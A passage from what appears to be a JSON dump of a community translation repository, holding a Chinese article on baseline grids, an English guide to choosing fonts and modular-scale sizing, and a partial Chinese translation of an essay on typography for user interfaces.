5.1. 垂直网格\n\n水平网格确定之后来处理垂直网格。\n\n基线是安放内容的地方。有了基线，对齐元素就轻松许多。所以我们的基线定为半个行高14px，剩下的交给比例尺。\n\n![](https://cdn-images-1.medium.com/max/800/1*jH_2M8_kEajFwM1Rnq-zew@2x.png)\n\n一些不错的印刷作品中，所有的文本都通过基线来对齐，这营造出网页无法企及的精致效果。再回到 [modularscale.com](http://www.modularscale.com/)，为你的项目选几个页边距，整齐地排列好，和基线对齐。给页边距赋予具体的角色。这个角色会用来分割不同的区域，文本块的标题，区域中的元素等等。\n\n1. **14,144 ~ 14** ── 元素中的间隙；\n2. **28,28 ~ 28** ── 子区域和文本块或者其他元素；\n3. **39,988 ~ 42** ── 子区域；\n4. **113,052 ~ 112** ── 各种各样的区域。\n\n![](https://cdn-images-1.medium.com/max/800/1*HA7h_TMrcYddV4Ij_jENdA@2x.png)\n\n既然搞定了基线，现在可以回到印刷尺度了。每行都是 14px，所以比例也要与之对应。\n\n### 6. 印刷尺度（带基线）\n\n已经有了基准行高，28px，然后是基准字号，20px。文本块 ── 20px ── 行高 ── 28px ── 两倍基线。\n\n1. **H1** ── 40px；要算出 40px 字体需要的行高，需要做一次叉乘。所以 `20px -> 28px, 40px -> x, x = (40 * 28) / 20, x = 56`。把数字代入基线可以得到 56，不过得四舍五入一下。H1 - 40px/56px - 4 基线；\n2. **H2**── 28px/42px ── 3 基线；\n3. **H3** ── 20px/28px ── 2 基线；\n4. **标题** ── 14px；这个情况比较复杂。字号如果不大于基线，就需要给予更多的空间。所以要额外的基线。如果标题和文本块挨在一起，这会带来不平衡。这个问题我仍没有解决。标题 ── 14px/28px ── 2 基线。\n\n![](https://cdn-images-1.medium.com/max/800/1*kTIkLyNjd5T2UbgzSw-Wzg@2x.png)\n\n### 改变了什么？\n\n很容易觉得我们折腾的这些对用户没有什么实际的影响，但是我可以谈谈对我自己的改变。在这段旅程开始之前，我对这件事没有明确的意见。不过一直感觉缺失了什么东西，这种感觉一直催促着我去学习了解。现在做完几个网站和产品之后，我可以说我的产品协调，内容支配着外观。可能只是心理上的感受，但是我坚定的认为并不是这样的。人们可以更好地阅读我的作品是因为精心设计的尺度。人们不会轻易感到无聊是因为我的网站现在变得更加动态。我们设计师必须考虑到每天使用我们的产品的用户的感受，他们值得我们为之付出的所有努力。我坚信这就是会对产品的存在期产生巨大影响的东西。\n\n### 8pt 网格，响应式设计，和程序员沟通等等这些呢？\n\n如同我们在 Subvisual 所做的一切，这个过程也不是一成不变的。我们不断试图提升自己，改进自己做事的方式。事实证明这是非常有价值的系统，即使有瑕疵也可以轻松地用其他方法来解决，比如我们也在用的 8pt 网格。此外，这个过程中的变量过多，无法代入设计师和程序员间的沟通之中。这样和那样的原因促使我们创建了自己的结构，同时结合了我们尝试过的所有系统上的最佳实践。我们还在调试中，很快就可以和大家分享了。值得等待，我保证。\n\n### 参考资料\n\n书籍\n\n1. The Elements of Typographic Style — Robert Bringhurst\n2. Grid Systems — Josef Müller-Brockmann\n\n文章\n\n1. [Harmonious Typography and Grids](https://medium.com/tradecraft-traction/harmonious-typography-and-grids-10da490a17d) — Zac Halbert\n2. [More Meaningful Typography](https://alistapart.com/article/more-meaningful-typography) — Tim Brown\n3. [More Perfect Typography](https://www.youtube.com/watch?v=6s3XwSpY2vc) — Tim Brown\n4. [R(a|ela)tional Design](https://8thlight.com/blog/billy-whited/2011/10/28/r-a-ela-tional-design.html) — Billy Whited\n\n### 谢谢！\n\n感谢阅读，希望对你有用。如果你有疑问或者有一些想法想和我分享，欢迎来信或者在 twitter 上 [@fcBaila](https://twitter.com/fcBaila)。\n\n1:\t译者注：参见豆瓣 [关于易读性和可读性](https://www.douban.com/group/topic/10416279/)\n\n2:\t译者注：参见维基百科 [不齐线数字](https://zh.wikipedia.org/wiki/%E4%B8%8D%E9%BD%90%E7%BA%BF%E6%95%B0%E5%AD%97)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n"
  },
  {
    "path": "TODO/typography-can-make-your-design-or-break-it.md",
    "content": "> * 原文地址：[Typography can make your design… or it can break it](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe)\n> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n![](https://cdn-images-1.medium.com/max/1000/1*BVoyx8ImTwpRv36xVy6RyQ.png)\n\n# Typography can make your design… or it can break it. #\n\nOne of the most important skills you can learn as a designer is how to choose type. This is because **text is one of the primary ways designers can communicate with users.** Typography can make or break a design.\n\nThere’s a beauty and complexity to typography. Some people devote their entire careers to type. Thankfully, their work is well documented, so we have tons of online resources for typography.\n\nThis article is designed to serve as a starting point for helping you learn how to choose type for your designs. It will encourage you to explore fonts and font combinations beyond those you’re familiar with.\n\n\n### Identify your purpose ###\n\nBefore you do anything else, first identify the purpose of your design. What information do you want to convey? What is the medium for your design?\n\n**Good design aligns its typography with its purpose.** This is because typography is key to setting mood, tone, and style in your designs.\n\nFor example, if you are designing a greeting card that’s illustration heavy, choose a font that fits the style of your illustration. Harmonize your type with the rest of your design.\n\n![](https://cdn-images-1.medium.com/max/1000/1*J4sjruq6WffKZR0ukOFNxw.jpeg)\n\n[Choose a font that suits the style of your illustration](https://dribbble.com/shots/3403715-Little-Tokyo-Los-Angeles/attachments/743158)\n\nIf you’re designing an image-driven landing page, choose a simple font that doesn’t detract from your images. Use type as a way to emphasize information to communicate meaning.\n\n![](https://cdn-images-1.medium.com/max/800/1*3hkvdEybfIT3cgad20quEw.png)\n\n[If images are the focus of your design, choose simple fonts so that the images stand out](https://dribbble.com/shots/3416904-Stripe-Atlas)\n\n### Identify your audience ###\n\nAfter determining the purpose of your design, identify your audience. This step is crucial because age and interest will influence your font options.\n\nAfter clarifying the purpose of your design, identify your audience. This step is crucial because **information about your users such as age, interests, and cultural upbringing could influence the decisions you make for your type.**\n\nFor example, some fonts are more appropriate for children. When learning to read, children need highly legible fonts with generous letter shapes. A good example of this is [Sassoon Primary](https://www.myfonts.com/fonts/mti/sassoon/). Sassoon Primary was developed by [Rosemary Sassoon](https://en.wikipedia.org/wiki/Rosemary_Sassoon) and based on her research into what kind of letters children found easy to read.\n\n![](https://cdn-images-1.medium.com/max/800/1*25G6PgjrO44fepoou-a8kg.png)\n\n[Sassoon Primary was developed Rosemary Sassoon](http://www.sassoonfont.co.uk/aboutsassoon.html) \n\nOther fonts are more appropriate for seniors. Senior-friendly fonts use readable sizes, high contrasting colors, and avoid scripts and decorative styles.\n\nWhen choosing type, take into account your audience and their needs. Simply put, **empathize with your users**.\n\n### Look for inspiration ###\n\nLook at the work of other designers. Try understand how they made their decisions for type.\n\n#### Font Inspiration ####\n\nFor font inspiration, [The 100 Best Free Fonts](http://www.creativebloq.com/graphic-design-tips/best-free-fonts-for-designers-1233380) by CreativeBloq is a great article to put you in the right mindset for choosing type. In the article, CreativeBloq explains the motivations behind each font.\n\nAnother useful resource is [100 Greatest Free Fonts Collection for 2015](https://www.awwwards.com/100-greatest-free-fonts-collection-for-2015.html)  by Awwwards.\n\nInvision also compiled a [giant repo of typography resources](http://blog.invisionapp.com/free-typography-resources/?imm_mid=0ef3cd&amp;cmp=em-web-na-na-newsltr_20170322) . You’ll find lots of sources for inspiration there.\n\n![](https://cdn-images-1.medium.com/max/1000/1*fevzbXE7wwbwEt186SHmew.png)\n\n[Typ.io curates font inspiration from around the web](http://typ.io/)\n\nFor inspiration from actual websites, check out [Typ.io](http://typ.io/). The site curates font inspiration from around the web. In addition, the site provides CSS font definitions at the bottom of each inspiration sample.\n\nAsides from looking at dedicated font inspiration websites, visit your favorite sites and check out what fonts they use. A good tool for this is [WhatTheFont](https://chrome.google.com/webstore/detail/whatfont/jabopobgcpjmedljpbcaablpmlmfcogm?hl=en) . WhatTheFont is a Chrome extension that lets you inspect web fonts by hovering over them.\n\n#### Pairing Inspiration ####\n\nBeyond just fonts, also look at font pairing inspiration. Font pairing is just as important as the fonts themselves. Good font pairing helps establish visual hierarchy and improve the readability of your designs.\n\n![](https://cdn-images-1.medium.com/max/1000/1*MVyB8tT4xlLZ4pXZ_SXx8Q.png)\n\n[Font pairing is just as important as the fonts themselves](https://www.typewolf.com/site-of-the-day/new-american-economy) \n\nFor inspiration, start with [Typewolf](https://www.typewolf.com/). Typewolf curates font pairing inspiration from different sites. Beyond that, they also have font recommendations and in-depth typography guides. It’s a treasure trove for typographers.\n\n[FontPair](http://fontpair.co/) also curates font pairing inspiration, specifically for [Google Fonts](https://fonts.google.com/) . You can sort by type style combinations such as sans-serif and serif, or serif and serif.\n\n![](https://cdn-images-1.medium.com/max/1000/1*MAfGLpDsPhPjQKPjgwbsbA.png)\n\nLastly, there are tons of font pairing collections created by designers online. For example[Typography: Google Fonts Combinations](https://www.behance.net/gallery/35768979/Typography-Google-Fonts-Combinations) and [Typography:Google Fonts Combinations Volume 2](https://www.behance.net/gallery/41054815/Typography-Google-Fonts-Combinations-Volume-2). Just search “font pairing” on sites like [Behance](https://www.behance.net/) and [Dribbble](https://dribbble.com/).\n\n### Choose your fonts ###\n\nArmed with research and inspiration, you are ready to choose your type. When it comes to choosing type, keep the following principles in mind: **readability, legibility, and purpose**.\n\n![](https://cdn-images-1.medium.com/max/1000/1*5mhptSeNTRmPKD-A12dDhg.png)\n\n[Before choosing a font, research into its intended purpose](https://www.typewolf.com/site-of-the-day/kvell)\n\nChoose fonts that are conventional and easy to read. Avoid highly decorative fonts in favor of simple and practical fonts. Also, be mindful of the purpose of a font. For example, some fonts are more suited to be headers rather than body text.\n\nFor this reason, **before choosing a font, research its intended purpose.**\n\n![](https://cdn-images-1.medium.com/max/1000/1*9COkZCDVar_HxpC2FyIF3w.png)\n\n[Pair fonts that contrast one another](https://www.behance.net/gallery/41054815/Typography-Google-Fonts-Combinations-Volume-2)\n\nIn terms of font pairing, keep it simple with a maximum of three different fonts. In addition, pair fonts that contrast one another. Doing so will help guide the eyes of readers, first to headers and then to body texts. **You can also create visual contrast using different font sizes, colors, and weights.**\n\nFor web fonts, you can use [Google Fonts](https://fonts.google.com/), [Typekit](https://typekit.com/) , and [Font Squirrel](https://www.fontsquirrel.com/) . Google Fonts is free, Typekit and Font Squirrel have free and paid fonts.\n\n### Determine font sizes ###\n\nThe next step after settling on a font combination is determining sizing. A great tool for this is [Modular Scale](http://www.modularscale.com/)  by [Tim Brown](https://twitter.com/timbrown?lang=en) , the head of typography at Adobe. Modular Scale is a system for identifying historically pleasing ratios to create scales to determine type sizes.\n\n![](https://cdn-images-1.medium.com/max/1000/1*XiKcg1uRlq-2Z8MYz7bzTA.png)\n\n[Modular Scale is a system for identifying historically pleasing ratios to create scales to determine type sizes](http://www.modularscale.com/)\n\nFor example, you might use a scale based on the golden ratio. Here would be your first five computed font size options:\n\n```\nGolden Ratio (1:1.618)\n\n1.000 x 1.618     = 1.618\n1.618 x 1.618     = 2.618\n2.618 x 1.618     = 4.236\n4.236 x 1.618     = 6.854\n6.854 x 1.618     = 11.089\n```\n\nOne issue that you might encounter is that your ratio is too large. Take a look at what happens to the later intervals of our scale based on the golden ratio.\n\n```\nGolden Ratio (1:1.618)\n\n...\n11.089 x 1.618    = 17.942\n17.942 x 1.618    = 29.03\n29.030 x 1.618    = 46.971\n46.971 x 1.618    = 75.999\n75.999 x 1.618    = 122.966\n```\n\nAs you can see, the intervals between numbers start to become too large. For most interfaces, you need smaller intervals. Thankfully, [Modular Scale](http://www.modularscale.com/)  has a variety of ratios based on geometry, nature, and music.\n\n```\nMinor Second    15:16 \nMajor Second    8:9\nMinor Third     5:6\nMajor Third     4:5\n...\n```\n\nSo instead of using the golden ratio, you can use a ratios that yield smaller intervals like the Perfect Fourth.\n\n```\nPerfect Fourth (3:4)\n\n...\n9.969  x 1.333     = 13.288\n13.288 x 1.333     = 17.713\n17.713 x 1.333     = 23.612\n23.612 x 1.333     = 31.475\n31.475 x 1.333     = 41.956\n41.956 x 1.333     = 55.927\n```\n\nOnce you have settled on a scale, you can cherry pick font sizes from your list and round them to the nearest decimal.\n\n```\nFont Sizes\n\nHeader 1: 55px\nHeader 2: 42px\nHeader 3: 31px\nHeader 4: 24px\nHeader 5: 14px\n\nBody: 17px\nCaption: 14px\n```\n\nThe Modular Scale method uses mathematical precision in order to generate font sizes. However, it’s only a guide. **Use this method as a starting point and then adjust sizes with your eye.**\n\n### Create a typography styleguide ###\n\nThe last step of the process is to create a styleguide for your typography to help standardize type across your designs.\n\n![](https://cdn-images-1.medium.com/max/1000/1*ekIKHSrO94ay_6q56XZysA.png)\n\nShared styles in Sketch\n\nIn programs like [Sketch](http://sketchapp.com/), you can create shared text styles to quickly insert text with styles already applied from your guideline.\n\nIt’s during this step of the process that you can tweak and finalize your text attributes such as color, weight, and size.\n\nA word on color: when choosing color, take into account your color palette. **Choose colors for your type that harmonize with your color palette.**\n\n![](https://cdn-images-1.medium.com/max/1000/1*-xGeenSuQTpCLhVFxS08lA.png)\n\n[Use styleguides to standardize type across your designs](https://dribbble.com/shots/2641393-Organizer-UI-Styleguide) \n\nIn your styleguide, make sure to at least include the following things: font definitions, font sizes, font colors, and example usages.\n\n[Google’s Material Design typography guidelines](https://material.io/guidelines/style/typography.html) is a good example of what to include in a styleguide. A couple of other examples includes the typography guides of [Mailchimp](https://ux.mailchimp.com/patterns/typography) , [Apple](https://developer.apple.com/ios/human-interface-guidelines/visual-design/typography/) , and [Focus Labs](https://dribbble.com/shots/2909744-UI-Kit) .\n\n### **Typography is all about experimentation. It’s both a science and an art.** ###\n\nI challenge you to break out of your comfort zone and explore type in your design.\n\nWhat are your favorite fonts? Leave me a note or send me a [tweet](https://twitter.com/jonathanzwhite)  on Twitter.\n\nYou can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite) , where I post non-sensical ramblings about design, front-end development, and virtual reality.\n\n*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/typography-for-user-interfaces.md",
    "content": ">* 原文链接 : [用户界面中的排版](https://viljamis.com/2016/typography-for-user-interfaces/)\n* 原文作者 : [Viljami Salminen](https://viljamis.com/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](https://github.com/circlelove)\n* 校对者:[ruixi](https://github.com/ruixi)，[wild-flame](https://github.com/wild-flame)\n\n# 用户界面中的字体\n\n回想2004年，在我刚入行的时候，[sIFR](http://mikeindustries.com/blog/archive/2004/08/sifr) 是最火的东西。它是由[Shaun Inman](http://shauninman.com/pendium/)公司开发的，其自定义字体嵌入在一个小小的 flash 动画里，它可以用在一些 JavaScript 和 CSS 中。那时候，它基本上就是[Firefox](https://www.mozilla.org/en-US/firefox/new/) 或 [Safari](http://www.apple.com/safari/)浏览器自定义字体的唯一选择。事实上，随着 iPhone （不支持 Flash ）的发布，该技术对于 Flash 的依赖使它很快就过时了。\n\n> 编辑代码写我们的界面，文本界面和排版布局是我们主要的要求对象。\n\n2008年，各大浏览器终于开始支持新的 CSS3 [@font-face rule](https://www.w3.org/TR/css-fonts-3/)。 它早就在1998年的 CSS 规范中出现了，但是后来被单独拉了出来。我记得当我设法说服我们的一位客户使用新的@字体-表情以及依赖[progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) 为已经支持该功能的浏览器提供强化体验时候的兴奋。\n\n从我在这个行业以来，我已经逐渐开始喜欢类型和进入设置它的所有细节。在这篇文章中，我要分享一些我学到的基础知识，并希望帮助您更好地为用户界面设置类型。\n\n\n\n##第一个 GUI [#](https://viljamis.com/2016/typography-for-user-interfaces/#the-first-guis \"右键来复制链接到#第一个GUIs\")\n\n\n尽管排版的历史可以追溯到大概[五千多年](https://viljamis.com/2013/prototyping-responsive-typography/)，我们的图形用户界面只有四十年的发展。一个关键转折点在1973年，当 [Xerox](https://en.wikipedia.org/wiki/Xerox) 引入了 [Alto](https://en.wikipedia.org/wiki/Xerox_Alto)，它从本质上创建了我们现代图形用户界面的基础。_Alto_ 比其他 GUI 早十年踏入市场，被视为计算机的未来。\n\n\n![](http://ac-Myg6wSTV.clouddn.com/f8a8eab03c083c011ef2.png)\n\n80年代早期开发的_Alto_  进展为 [Xerox Star](https://en.wikipedia.org/wiki/Xerox_Star) 成为首个带有 GUI 的商业化操作系统。\n\n![](http://ac-Myg6wSTV.clouddn.com/05e7c24bffd97ab16471.png)\n\n尽管_Alto_ 和 _Star_ 都没有实现突破，它们对于未来出现的[苹果(http://www.apple.com/) 和 [微软](https://www.microsoft.com/en-us/) 变革性的鼠标驱动  GUI 影响巨大。几年之后，在1984年，[Steve Jobs](https://en.wikipedia.org/wiki/Steve_Jobs) 带来了第一个 [Mac OS](https://www.youtube.com/watch?v=VtvjbmoDx-I).\n\n![](http://ac-Myg6wSTV.clouddn.com/9172afe82db3c54f6e84.gif)\n\nMacintosh 的发布意味着用户排版对于大众来说有史以来第一次变得触手可及。[初代Mac](https://en.wikipedia.org/wiki/Macintosh_128K)预装了很多 [图标字体](https://en.wikipedia.org/wiki/Fonts_on_Macintosh)，在接下来几年里面，许多字体工厂开始设计发行他们的数字版本的流行字体。\n\n![](http://ac-Myg6wSTV.clouddn.com/7f17f13d792c5b467d6a.gif)\n\n更细致地检查早期的图形用户界面，我们意识到它们多数的元素是书面语。这些 GUIs 是彻底的纯文本 ——— 独立词组的罗列集合。\n\n\n我们也可以对现代的界面进行一个类似的调查。编辑代码写我们的界面，文本界面和排版布局是我们主要的要求对象\n\n## 文本即界面[#](https://viljamis.com/2016/typography-for-user-interfaces/#text-is-interface \"右键复制链接#text-is-interface\")[#]\n\n界面的每个字词都十分重要。好的书写造就好的设计。文本是核心的[界面](http://thomasbyttebier.be/blog/the-best-ui-typeface-goes-unnoticed)，是我们这些设计文案的设计师造就了这种信息。\n\n看看下面的图像案例，想象着在你前面的桌子上分解元素。观察剩下了什么。几个单词，两个图片和几个图表的集合。\n\n![](http://ac-Myg6wSTV.clouddn.com/304f7794e6e2220121f3.jpg)\n\n我们的工作不是把屏幕上杂乱无章的东西让它们看起来可心，而是从最重要的[复制和内容](https://viljamis.com/2013/prototyping-responsive-typography/)开始，再从中绘制细节。那是我们草图的核心所在。\n\n字形的清晰也十分关键。开始可能感觉它没那么重要，尤其是在我们的大脑只需要稍微楞个神来辨认字形的时候。但是复杂情况下，出现各种字母组合的时候，排版的重要性就体现出来了。\n\n当然，还有更多的界面设计细节需要注意；例如平衡，布局，层次和结构.，但良好的文案和排版\n [的重要性占95%](https://ia.net/know-how/the-web-is-all-about-typography-period).\n\n> \"伟大的设计师知道如何用文本而不是内容工作，他将文本视作用户界面.\"\n\n\n> \n> – Oliver Reichenstein\n\n## 怎样阅读[#](https://viljamis.com/2016/typography-for-user-interfaces/#how-we-read \"Right click to copy a link to #how-we-read\")\n\n\n如果我们放在屏幕上的文字如此重要，那么我们应该花些时间研究我们如何阅读以及它如何影响我们的设计。\n\n> \n> 少于20字的单词读起来比小单词组成的长句子更慢\n\n一个重要的发现让我回归的就是阅读_Billy Whited’s_ 文章 [为用户界面设置书写](http://blog.typekit.com/2013/03/28/setting-type-for-user-interfaces/), 我们这样阅读是否是最高效的。这意味着单个单词少于20字的单词读起来比小单词组成的长句子更慢\n\n\n\n事实上，当我们阅读长句子的时候，眼睛扫过的地方并不是以一种光滑的路线走的。相反，它们会跳跃，这称作\n![扫视](https://viljamis.com/type-for-ui/img/saccades.svg)\n\n\n扫视提高我们的阅读能力让我们完全跳过少量意义不大的词语。这是要注意的一个关键因素，因为我们的界面大部分含有独立的词语。本质上讲，我们根本无法依赖扫视。\n\n\n最后，[理解](http://researchonline.rca.ac.uk/957/1/Sofie_Beier_Typeface_Legibility_2009.pdf) 确定了独立单词在阅读过程中的最重要的地位，我们的字体选择如何重要就显而易见了。\n![](https://viljamis.com/type-for-ui/img/bouma.svg)\n\n\n过去，许多人认为我们通过所谓的[Bouma shape](https://en.wikipedia.org/wiki/Bouma)理解词语意思，或者词语的外形。[在](http://blog.typekit.com/2013/03/28/setting-type-for-user-interfaces/) [后来](http://www.microsoft.com/typography/ctfonts/wordrecognition.aspx) [研究](https://typography.guru/journal/how-do-we-read-words-and-how-should-we-set-them-r19/) [这](http://researchonline.rca.ac.uk/957/1/Sofie_Beier_Typeface_Legibility_2009.pdf) 被证明是有错误的，可读性和字体的易读性不应该仅仅通过生成好的 Bouma shape 来判定。想法，我们要更多地关注字体形式。\n\n## 字母的可读性来自什么?[#](https://viljamis.com/2016/typography-for-user-interfaces/#what-makes-letters-legible \"Right click to copy a link to #what-makes-letters-legible\")\n\n乍一看似乎这个问题很难或者根本无法回答。因为阅读是一种习惯，读的最多的东西读得好。那我们如何衡量怎样的特征使字母更易读呢？为了开始理解这个，我们首先需要把句子破成词组，词组破成字母，字母破成更小的我们能注意到的细节部分。\n\n\n2008年， [维多利亚大学](http://www.uvic.ca/) did [empirical tests](https://typekit.files.wordpress.com/2013/03/fiset_psychscience_2008.pdf) 心理系解释了小写字母和大写拉丁字母是阅读最高效的部分。\n\n![](http://ac-Myg6wSTV.clouddn.com/11c589fd7d99f3b411e5.jpg)\n\n该研究解释了不少有意思的东西。首先，它说明了线条端点是确认字母极为重要的部分。\n![](http://ac-Myg6wSTV.clouddn.com/38e3c405a7cc17950e30.jpg)\n\n\n上面的图表示认知字母的时候那些区域关注度最高。这些字体的这些部分应该做的既普通又能强调字母的区分度。\n\n2010年 [Sofie Beier](https://www.researchgate.net/profile/Sofie_Beier/publications) 和 [Kevin Larson](http://www.typecon.com/speakers/kevin-larson),[另一项研究](http://www.ingentaconnect.com/content/jbp/idj/2010/00000018/00000002/art00004),关注的是字母被误认的变化和频率。\n\n![](http://ac-Myg6wSTV.clouddn.com/3f1d105d8753dc2a3b46.jpg)\n\n\n研究发现一些衍生版本比其他的更易读，尽管字体里面带有类似的大小、高度和个性化。结果显示较窄的字母稍宽一些更容易被接受，[ x -字高](https://en.wikipedia.org/wiki/X-height) 有了 [升部](https://en.wikipedia.org/wiki/Ascender_%28typography%29) 比 [降部](http://www.typographydeconstructed.com/descender/)更容易辨识。\n\n![](http://ac-Myg6wSTV.clouddn.com/d8a68ba28736039ee717.jpg)](http://legibilityapp.com/)\n\n利用近期项目中[我构建的工具](http://legibilityapp.com/)我们可以了解到更多关于给定字体易读性的信息。[Legibility App](http://legibilityapp.com/) 让你可以通过引入各种滤镜模拟不同的 _(often harsh)_ 视图状况--例如 模糊、滤镜、像素画化。这个 app 还处在测试版，今后将用在Chrome](https://www.google.com/chrome/browser/desktop/), [Opera](http://www.opera.com/) 和 [Safari](http://www.apple.com/safari/)上.\n\n## 在 UI 界面找什么?[#](https://viljamis.com/2016/typography-for-user-interfaces/#what-to-look-for-in-a-nbsp-ui-typeface \"Right click to copy a link to #what-to-look-for-in-a-nbsp-ui-typeface\")\n\n\n理解了我们的阅读方式和字母易读的特征使我们对于选择合适的 UI 界面有了一个整体的了解。下面是我收集的10点建议。\n\n### 1\\. 易读性[#](https://viljamis.com/2016/typography-for-user-interfaces/#1-legibility \"Right click to copy a link to #1-legibility\")\n\n易读性是要考虑的首要因素。字母形式要清晰可辨。可辨的字母形式在用户界面元素中效果更好。<sup>[[5](https://prowebtype.com/picking-ui-type/)]</sup> 许多[无衬线字体](https://en.wikipedia.org/wiki/Sans-serif) 包括 [Helvetica](https://en.wikipedia.org/wiki/Helvetica), 其大写的I和小写的l无法分辨，使得它们不适合作为用户界面。\n![](https://viljamis.com/type-for-ui/img/legibility.svg)。\n\n[Source Sans Pro](https://github.com/adobe-fonts/source-sans-pro)字体 在左，Helvetica 字体在右。Helvetica 字体的前三个字母几乎无法辨认。Source Sans Pro 字体就显得相当不错。有些人认为 Helvetica在任何的 UI 作字体都糟透了，因为它不是为了屏幕而设计的。\n\n\n> Helvetica 糟透了。它不是为了屏幕上的小字设计的. 像 ‘milliliter’就很难辨认.”\n> \n> – Erik Spiekermann\n\n\n当苹果 \"短促地\" 改用 Helvetica 作为他们主要的界面字体的时候，导致了相当的易用和易读性讨论。最后，这也是苹果设计我们熟知的[San Francisco](https://developer.apple.com/fonts/)字体的原因。\n\n\n![](http://ac-Myg6wSTV.clouddn.com/50141b85472e3156ca89.png) <span class=\"desc\">图片来源: [Thomas Byttebier](http://thomasbyttebier.be/blog/the-best-ui-typeface-goes-unnoticed)</span>\n\n### 2\\. 朴素[#](https://viljamis.com/2016/typography-for-user-interfaces/#2-modesty \"Right click to copy a link to #2-modesty\")\n\n理想的 UI 界面并不扎眼，甚至不起眼。当用户完成他们的任务的时候，你选择的字体应该在他们的考虑之外，只让用户关注到文字的内容而无需费力辨认字体。\n\n![](https://viljamis.com/type-for-ui/img/modesty.svg)\n\n### 3\\. 灵活性[#](https://viljamis.com/2016/typography-for-user-interfaces/#3-flexibility \"Right click to copy a link to #3-flexibility\")\n\n一个 UI 字体需要有灵活性.我们为媒介设计体验,不可能控制用户的能力、内容、浏览器、屏幕尺寸、链接速度甚至输入法。\n\n\n我们选择的字体应该适应相当多的语境，在不同尺寸、设备中运行良好，尤其是小屏幕的状态下。无衬线字体的设计就是为了小尺寸解决方案被引用了<sup>[[5](https://prowebtype.com/picking-ui-type/)]</sup>。\n\n![](https://viljamis.com/type-for-ui/img/flexibility3.svg)\n\n### 4\\. 大 x-height[#](https://viljamis.com/2016/typography-for-user-interfaces/#4-large-x-height \"Right click to copy a link to #4-large-x-height\")\n\nX-height 意思是小写字母 “x” 的高度。你想看大号字体 [x-height](https://en.wikipedia.org/wiki/X-height) 因为读起来比小写的更加舒服。不过别走太远，因为太大的 x-height 下，字母 _n_ and _h_ 就难以区分了 \n\n![](https://viljamis.com/type-for-ui/img/x-height.svg)\n\n### 5\\.宽比例[#](https://viljamis.com/2016/typography-for-user-interfaces/#5-wide-proportions \"Right click to copy a link to #5-wide-proportions\")\n\n\n比例指的是字符的宽高比。你想要找到较宽比例的字体，因为它的易读性好，适合屏幕上的小字阅读。\n\n![](https://viljamis.com/type-for-ui/img/proportions.svg)<span class=\"desc\">图片来源: [Adobe Acumin](http://acumin.typekit.com/design/)</span>\n\n### 6\\.松散字母间距 [#](https://viljamis.com/2016/typography-for-user-interfaces/#6-loose-letter-spacing \"Right click to copy a link to #6-loose-letter-spacing\")\n\n> 重要原则就是字母的间距要比字体当中字母内间距小一些。\n\n字母的间距是十分重要的空间。字母靠得太近影响阅读。一个好的 UI 字体应该在两个字母当中留下喘息的空间，也是为了创造一个平稳的节奏。\n\n\n另一方面，如果你留下太多空间，就会破坏单词的完整性。重要原则就是字母的间距要比字体当中字母内间距小一些。\n![](https://viljamis.com/type-for-ui/img/spacing.svg)\n\n### 7\\. 小的笔画对比[#](https://viljamis.com/2016/typography-for-user-interfaces/#7-low-stroke-contrast \"Right click to copy a link to #7-low-stroke-contrast\")\n\n好的 UI 字体笔画对比较小。高对比的字体，在字号较大的时候看起来不错，可是对于屏幕上的小字来说，细笔画就容易消失了。另一方面，我们有[Arial](https://en.wikipedia.org/wiki/Arial) 还有[Helvetica](https://en.wikipedia.org/wiki/Helvetica)的字体，相当小的笔画对比让字母辨析变得困难。\n\n\n一些都是为了寻找二者平衡。想像你在地平线上，你想找些更多的东西。\n\n![](https://viljamis.com/type-for-ui/img/contrast.svg)\n\n### 8\\. 字体特征[#](https://viljamis.com/2016/typography-for-user-interfaces/#8-opentype-features \"Right click to copy a link to #8-opentype-features\")\n\n确认你选定字体支持[OpenType 特征](https://typofonderie.com/font-support/opentype-features/) 是非常重要的，因为它提供了更多的灵活性。通常包括对不同语言和 [特殊字符](https://en.wikipedia.org/wiki/List_of_Unicode_characters)的支持。\n\n\n对我而言，最有用的 Opentype 字体特征是[tabular figures](https://www.fonts.com/content/learning/fontology/level-3/numbers/proportional-vs-tabular-figures)，它是数字的，带有相同的宽度。或许做计时器的时候你会想要用到它，或者做 IP 显示表盘的时候用用会不错。\n\n![](http://ac-Myg6wSTV.clouddn.com/4d4aaafae8af043b335e.png) <span class=\"desc\">\n\n图片来源: [Fontblog](http://www.fontblog.de/das-ende-der-postscript-type-1-schriften/)</span>\n\n### 9\\. 备用字体[#](https://viljamis.com/2016/typography-for-user-interfaces/#9-fallback-fonts \"Right click to copy a link to #9-fallback-fonts\")\n\n下面是一种大家都非常熟悉的场景。在实际内容下载显示完全之前，[web 字体](https://en.wikipedia.org/wiki/Web_typography) 阻碍了这个过程。\n\n![](http://ac-Myg6wSTV.clouddn.com/c78ea12592cc07fdc519.png) 